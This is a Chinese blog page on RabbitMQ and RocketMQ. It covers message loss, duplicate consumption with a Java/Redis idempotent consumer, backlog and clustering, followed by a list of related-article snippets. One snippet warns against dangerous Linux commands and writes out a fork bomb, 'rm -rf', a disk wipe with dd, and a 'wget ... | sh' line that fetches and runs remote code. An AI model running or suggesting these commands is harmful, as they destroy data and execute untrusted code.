消息队列(MQ)核心知识点(持续更新中)

消息队列(MQ)核心知识点(持续更新中)

  • RabbitMQ
    • RabbitMQ概念及架构
    • RabbitMQ消息丢失的场景及解决方案
    • RabbitMQ重复消费场景及解决方案
    • RabbitMQ消息堆积场景及解决方案
    • RabbitMQ集群
  • RocketMQ
    • RocketMQ概念及架构

RabbitMQ

RabbitMQ概念及架构

参考文章,RabbitMQ详解:https://blog.csdn.net/qq_36763419/article/details/122023216

在这里插入图片描述

RabbitMQ消息丢失的场景及解决方案

场景1:生产者(Producer)将消息投递到 Broker 时,因为网络波动导致消息不能正常投递到Broker?
解决方案:针对生产者可以开启(Confirm)消息发布确认机制

场景2:交换机(Exchange)将消息转发到队列(Queue)时,Broker服务出现宕机?
解决方案:对RabbitMQ进行消息持久化(注意事项:消息持久化影响性能)。如下:

  1. Exchange持久化
  2. Queue持久化
  3. 消息持久化

场景3:消费者消费队列中的消息时,消费者拿到消息开始消费后,出现消费异常或者消费者宕机,默认情况下自动确认会导致消息丢失?
解决方案:开启手动ACK,由消费者手动确认消费。

RabbitMQ重复消费场景及解决方案

场景1:生产者推送多个一样的消息。如,接口调用时重复提交,没有做好接口幂等性?
解决方案:设置接口幂等性,防止接口重复提交

场景2:消费者完成消费后,准备发送ACK确认消费时,RabbitMQ出现宕机,导致MQ没有及时将消息出队,服务重启后,会再次推送该消息,导致重复消费?
场景3:消费者完成消费后,来不及发送ACK确认消费,消费者出现宕机,服务重启后,会再次收到队列中的消息进行消费。
场景 2、3 解决方案:设置消息幂等性处理(如:Redis为例,基于Redis实现锁续命)

@Service
@Slf4j
@SuppressWarnings(value = {"unchecked", "rawtypes"})
public class RabbitMQConsumerService {

    @Autowired
    private RedisTemplate redisTemplate;


    /*消费端监听队列(普通队列)*/
    @RabbitListener(queues = {"test.queue"})
    public void receiveMsg(JSONObject msgJson, Message message, Channel channel) throws IOException {

        long deliveryTag = message.getMessageProperties().getDeliveryTag();
        log.info("消费者收到消息: {}", msgJson.toJSONString());
        String messageId = msgJson.getString("messageId");

        //锁
        String lockKey = "lock:msgId:" + messageId;
        //开始消费
        Duration duration = Duration.ofSeconds(10);
        if (redisTemplate.opsForValue().setIfAbsent(lockKey, 0, duration)) {
            log.info("开始消费消息");
            //设置锁续命
            LockLeaseRenewal lockLeaseRenewal = new LockLeaseRenewal(redisTemplate, lockKey, duration);
            lockLeaseRenewal.startRenewal();
            try {

                //TODO: 业务处理


				//业务逻辑处理完成
                redisTemplate.opsForValue().set(lockKey, 1);
                channel.basicAck(deliveryTag, false);
            } catch (Exception e) {
                log.error("消息消费失败: {}", e.getMessage());
                channel.basicNack(deliveryTag, false, false);
            } finally {
                lockLeaseRenewal.stopRenewal();
                redisTemplate.delete(lockKey);
            }
        } else if (Objects.equals(redisTemplate.opsForValue().get(lockKey), 1)) {
            log.info("消费完成,手动确认:{}", messageId);
            channel.basicAck(deliveryTag, false);
            redisTemplate.delete(lockKey);
        }
    }

    private String getLockKey(String msgId) {
        return "lock:msgId:" + msgId;
    }
}

@Slf4j
class LockLeaseRenewal {

    private final RedisTemplate redisTemplate;
    private final String lockKey;
    private final Duration renewalInterval;
    private Timer timer;

    public LockLeaseRenewal(RedisTemplate redisTemplate, String lockKey, Duration renewalInterval) {
        this.redisTemplate = redisTemplate;
        this.lockKey = lockKey;
        this.renewalInterval = renewalInterval;
        this.timer = new Timer();
    }

    //线程开始执行续命
    public void startRenewal() {
        if (redisTemplate.hasKey(lockKey)) {
            TimerTask task = new TimerTask() {
                @Override
                public void run() {
                    redisTemplate.expire(lockKey, renewalInterval); // 续命
                    log.info("锁续命: " + lockKey);
                }
            };
            timer.schedule(task, 0, renewalInterval.toMillis() / 2); // 定期续命
        }
    }

    //停止锁续命
    public void stopRenewal() {
        timer.cancel();
        timer.purge();
    }
}

RabbitMQ消息堆积场景及解决方案

场景1:生产者生产消息的速度远大于消费者的消费速度;
解决方案:增加消费节点,平衡生产和消费速度,确保消息及时处理。

场景2:消费者消费异常,消费耗时过长?
解决方案:在消费者出现故障时,设置消息的重试机制,确保消息不会因单个消费者故障而持续堆积。同时可以设置消息消费次数阈值,超过阈值将其入库,并将消息出队列,人工分析处理这些失败的消息,以便于消息补偿。

场景3:RabbitMQ中队列的大小设置过小,消费者消费速度一旦跟不上生产者生产速度,就会出现队列溢出?
解决方案:适当增大 queue 的大小。

RabbitMQ集群

参考文章:https://blog.csdn.net/qq_42108331/article/details/131842887

1、普通集群
2、镜像集群
3、仲裁队列

RocketMQ

RocketMQ概念及架构

参考 RocketMQ 官方文档:https://rocketmq.apache.org/zh/docs/
注意:4.x 与 5.x 版本区别

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/702282.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Hadoop 2.0:主流开源云架构(三)

目录 四、Hadoop 2.0体系架构(一)Hadoop 2.0公共组件Common(二)分布式文件系统HDFS(三)分布式操作系统Yarn(四)Hadoop 2.0安全机制简介 四、Hadoop 2.0体系架构 (一&…

开发了一个宝藏云桌面系统,编程小白强烈安利

大家会不会也会有这样的困扰,一个开发小白,在满怀激情的想踏入代码世界时,往往会被一系列复杂的环境配置和软件安装过程绊住了脚步。想象一下,如果你满心期待地想要运行一个简单的“Hello, World!”程序,或是尝试一段刚…

Mac外接显示器显示不全

Mac外接显示器最大化无法占满屏幕 当你遇到底部无法占满的时候, 只需要,在-->系统设置 中修改“桌面与程序坞”-->“置于屏幕上的位置”,改完之后,改回原设置就行了;

短视频矩阵筷子科技、抖去推、超级编导有那几家源头开发是自己底层框架做的-----

目前这几家都是自己技术团队搭建开发的,每家都有优势劣势产品上基本都已经成熟趋向于优化技术阶段。 云罗---抖去推:*** 将在CAP原则基础上使用分布式架构,对此网站的整体架构采用了基于B/S三层架构模式,将数据层、业务应用层、表现层分开。BS架构B/S&a…

边缘网关在智能制造工厂中的创新应用及效果-天拓四方

在数字化浪潮席卷之下,智能制造工厂正面临着前所未有的数据挑战与机遇。边缘网关,作为数据处理与传输的关键节点,在提升工厂运营效率、确保数据安全方面发挥着日益重要的作用。本文将通过一个具体案例,详细阐述边缘网关在智能制造…

Windows外接显示屏显示无信号

我的电脑症状比较特别,启动后可以连接外接显示屏,一旦睡眠重新唤醒就会断联 显示器显示无信号,笔记本显示设置里只有自带显示器的信息 试了重启显示屏、重新插拔HDMI线、重新换端口都不行 最后解决方法: 属性-设备管理器-显示…

CNC智能化的上下料解决方案

CNC加工行业因其高效、精密的加工能力在3C、汽车等行业中占据重要地位。然而,传统的CNC上下料方式繁琐且耗时,与CNC机床配套工序和设备的高度信息化、自动化水平形成鲜明对比。这种不匹配导致人工上下料成为生产线的瓶颈,不仅效率低下&#x…

C#实现WMI获取硬盘参数

文章目录 背景涉及框架及库WMI查询小工具参数解释U盘移动硬盘本机设备 总结 背景 因为需求需要涉及获取硬盘的SN参数,但是又不想要获取到U盘或移动硬盘设备的SN,所以就浅浅的研究了一下。 以下就是我目前发现的一些参数的作用,够我用了。。。…

探索AOSP中的RRO:运行时资源覆盖的奥秘

探索AOSP中的RRO:运行时资源覆盖的奥秘 在Android开发中,为了提供更大的灵活性和可定制性,Android提供了一种关键特性:运行时资源覆盖(Runtime Resource Overlay,简称RRO)。本文将深入探讨RRO在Android开源项目(AOSP)中的作用及其实现方法。 什么是运行时资源覆盖(…

超级马里奥-小游戏

学习目标: 练习Java面向对象的编程思想; 巩固Java语言基础,数据类型、集合、数组等; 深刻理解Java的三大特性,封装、继承、多态; 效果展示:

rizhuti1.9-最新版-推荐文章缩略图

下载地址:rizhuti1.9-最新版-推荐文章缩略图 商城功能后台可以一键开启关闭,关闭后就是一个布局灵活,界面优美,速度超快的wordpress博客主题

pinpoint agent 接入apm,负责采集java应用的数据,发送给远端collector

一、背景 前文我们使用docker-compose已搭建好了pinpoint的服务端,现在需要在java应用侧,也即客户端部署pinpoint的agent。 agent负责采集数据,并发送给远端的pinpoint collector,最后在pinpoint web展示。 本文主要是以一个ja…

Cantata 24.04 全新发布:以代码为中心的测试实现革命性升级!

简介 Cantata 24.04于2024年4月发布,以开创性的功能彻底革新了软件测试。此版本的主要功能是以代码为中心(Code-Centred)的方法,可以更快、更高效地在C/C的代码编辑器中创建单元和集成测试。 Cantata 24.04采用C中的最新标准并全…

【Linux】手残党必学,再也不用跑路了

目录 🚨危险命令,请勿靠近TAT🖋️rm –rf🖋️){:|:&};:🖋️mv 指定的文件夹 /dev/null🖋️wget http://malicious_source -O- | sh🖋️dd if/dev/random of/dev/sda🖋️隐藏命令…

Kali Linux 2024.2

Kali Linux 2024.2 版本(t64、GNOME 46 和社区包) 比平常晚了一点,但 Kali 2024.2 来了!延迟是由于实现这一目标的幕后变化所致,这也是人们关注的焦点。社区提供了大量帮助,这次他们不仅添加了新的软件包&…

5.4 安全策略和控制 方法实现探讨

安全策略概述: 定义 安全策略是一组规则和措施,旨在保护组织的信息和资产免受潜在的威胁和攻击。它的制定和实施需要考虑组织的特定需求和风险,并采取适当的措施来减少潜在的安全漏洞。安全策略的定义包括以下几个方面: 1. 目标和范围&…

代码随想录算法训练营第51天:股票2

代码随想录算法训练营第51天:股票2 ‍ 123.买卖股票的最佳时机III 力扣题目链接(opens new window) 给定一个数组,它的第 i 个元素是一支给定的股票在第 i 天的价格。 设计一个算法来计算你所能获取的最大利润。你最多可以完成 两笔 交易。 注意&a…

QGroupbox,Grid Layout,button 水平延伸 布局

实验 sizePolicy水瓶延伸 拖入一个groupbox控件 在groupbox控件中拖入一个grid layout 控件 然后拖入3个pushButton 使其水平排列, 设置button3的 sizePolicy 水平延展 为1 效果

404 页面代码

<template> <div class"container"><h1>404</h1> <div ><p class"text-center">当前页面无法访问,可能没有权限或已删除</p><p class"text-center"> 去别处看看吧</p> </div> <…

【Android】系统性学习——Android系统启动

前言 部分内容参考《Android进阶解密》 – 刘望舒 以及各大博客&#xff0c;感谢各位师傅对知识的传播。 第二章 Android系统启动 Android系统启动与本书很多内容都有关联&#xff0c;比如应用进程启动流程、四大组件原理、 AMS、ClassLoader等&#xff0c;而ClassLoader又是…